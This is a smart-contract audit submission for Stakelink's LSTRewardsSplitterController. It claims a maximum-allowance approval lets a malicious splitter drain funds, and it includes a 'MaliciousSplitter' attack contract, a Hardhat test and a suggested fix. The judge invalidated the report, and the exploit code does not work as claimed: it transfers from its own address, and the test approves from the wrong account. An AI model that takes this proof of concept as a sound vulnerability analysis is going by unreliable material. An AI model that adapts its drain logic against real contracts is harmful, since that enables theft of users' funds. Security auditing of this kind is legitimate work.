Liquid Staking

Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Submission Details
Severity: medium
Invalid

Approval of maximum token allowance without revoking allow attacker to drain the contract’s funds (special conditions required) in `LSTRewardsSplitterController.sol`

Summary

This report highlights a vulnerability where the LSTRewardsSplitterController contract approves the maximum possible token allowance (type(uint256).max) for a splitter without appropriately revoking or managing the allowance. If a malicious or compromised splitter retains control over the allowance after removal, it could drain the contract’s funds. This vulnerability can lead to financial losses for the contract and its participants.

Vulnerability Details

In the LSTRewardsSplitterController contract, the addSplitter function approves the lst token with type(uint256).max, allowing the splitter to use an unlimited amount of tokens. However, the removeSplitter function does not revoke or reduce this allowance until after the splitter has been deleted, leading to a window of opportunity where a compromised or malicious splitter can still use the approved allowance.

This unlimited approval approach can be exploited if the approval is not properly managed, as the approval persists even after the splitter has been removed. If a malicious contract manages to retain the control, it could potentially drain the full approved balance of tokens.

The vulnerability occurs in the following part of the contract:

function addSplitter(
address _account,
LSTRewardsSplitter.Fee[] memory _fees
) external onlyOwner {
if (address(splitters[_account]) != address(0)) revert SplitterAlreadyExists();
address splitter = address(new LSTRewardsSplitter(lst, _fees, owner()));
splitters[_account] = ILSTRewardsSplitter(splitter);
accounts.push(_account);
IERC677(lst).safeApprove(splitter, type(uint256).max); // Maximum token allowance approved
}

In the addSplitter function, the maximum possible token allowance is given to the splitter contract using safeApprove. However, if the splitter is later removed using the removeSplitter function, the allowance is only revoked after interacting with the splitter:

IERC677(lst).safeApprove(address(splitter), 0);

This leaves a critical gap where the malicious splitter can still exploit the approved allowance before it is revoked.

Here’s a step-by-step scenario of how the vulnerability can be exploited:

Step 1: A splitter contract is added using the addSplitter function, with the maximum token allowance granted.

Step 2: The removeSplitter function is called to remove the splitter.

Step 3: Before the approval is revoked, the malicious splitter uses the safeApprove allowance to transfer the full balance of lst tokens from the LSTRewardsSplitterController to an attacker-controlled address.

Malicious splitter contract:

contract MaliciousSplitter {
IERC677 public lst;
constructor(address _lst) {
lst = IERC677(_lst);
}
function attack() external {
uint256 allowance = lst.allowance(address(this), address(this));
lst.transferFrom(address(this), msg.sender, allowance); // Drain the full balance
}
}

Steps to execute exploit:

  • A malicious splitter is deployed.

  • addSplitter is called, approving the splitter with type(uint256).max tokens.

  • The splitter is then removed via removeSplitter.

  • Before the approval is revoked, the malicious splitter uses transferFrom to transfer the approved tokens.

Below is a sample Hardhat test that demonstrates the vulnerability:

const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("LSTRewardsSplitterController Exploit", function () {
let lstToken, controller, maliciousSplitter, owner, attacker;
beforeEach(async function () {
[owner, attacker] = await ethers.getSigners();
// Deploy mock LST token
const MockToken = await ethers.getContractFactory("MockERC677Token");
lstToken = await MockToken.deploy();
await lstToken.deployed();
// Deploy LSTRewardsSplitterController
const SplitterController = await ethers.getContractFactory("LSTRewardsSplitterController");
controller = await SplitterController.deploy(lstToken.address, 100);
await controller.deployed();
// Deploy Malicious Splitter
const MaliciousSplitter = await ethers.getContractFactory("MaliciousSplitter");
maliciousSplitter = await MaliciousSplitter.connect(attacker).deploy(lstToken.address);
await maliciousSplitter.deployed();
// Add malicious splitter with approval
await controller.addSplitter(attacker.address, []);
// Approve maximum allowance to malicious splitter
await lstToken.connect(owner).approve(maliciousSplitter.address, ethers.constants.MaxUint256);
});
it("should allow malicious splitter to drain tokens before approval is revoked", async function () {
// Send tokens to the controller
await lstToken.connect(owner).transfer(controller.address, ethers.utils.parseEther("100"));
// Attacker exploits the vulnerability
await maliciousSplitter.connect(attacker).attack();
// Check if tokens were drained
const controllerBalance = await lstToken.balanceOf(controller.address);
expect(controllerBalance).to.equal(0); // All tokens drained
});
});

Impact

  1. A malicious splitter can drain all the approved tokens in the contract before the allowance is revoked. This can lead to a significant loss of funds, as the maximum token allowance (type(uint256).max) is approved.

  2. This attack would result in substantial financial loss if exploited, potentially draining all the staked tokens or rewards in the contract, and impacting all users relying on the LSTRewardsSplitterController for token management.

Tools Used

Manual review.

Recommendations

  • Before removing a splitter, ensure that the token allowance is revoked or set to zero before any interactions with the splitter. This reduces the window of time during which a malicious splitter can exploit the contract.

function removeSplitter(address _account) external onlyOwner {
ILSTRewardsSplitter splitter = splitters[_account];
if (address(splitter) == address(0)) revert SplitterNotFound();
// Revoke allowance before interacting with the splitter
IERC677(lst).safeApprove(address(splitter), 0);
// Continue with removal logic
uint256 balance = IERC20(lst).balanceOf(address(splitter));
uint256 principalDeposits = splitter.principalDeposits();
if (balance != 0) {
if (balance != principalDeposits) splitter.splitRewards();
splitter.withdraw(balance, _account);
}
delete splitters[_account];
// Remove account from list
}
  • Rather than using safeApprove with type(uint256).max, implement a safer allowance management strategy using safeIncreaseAllowance and safeDecreaseAllowance to provide more controlled token permissions.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.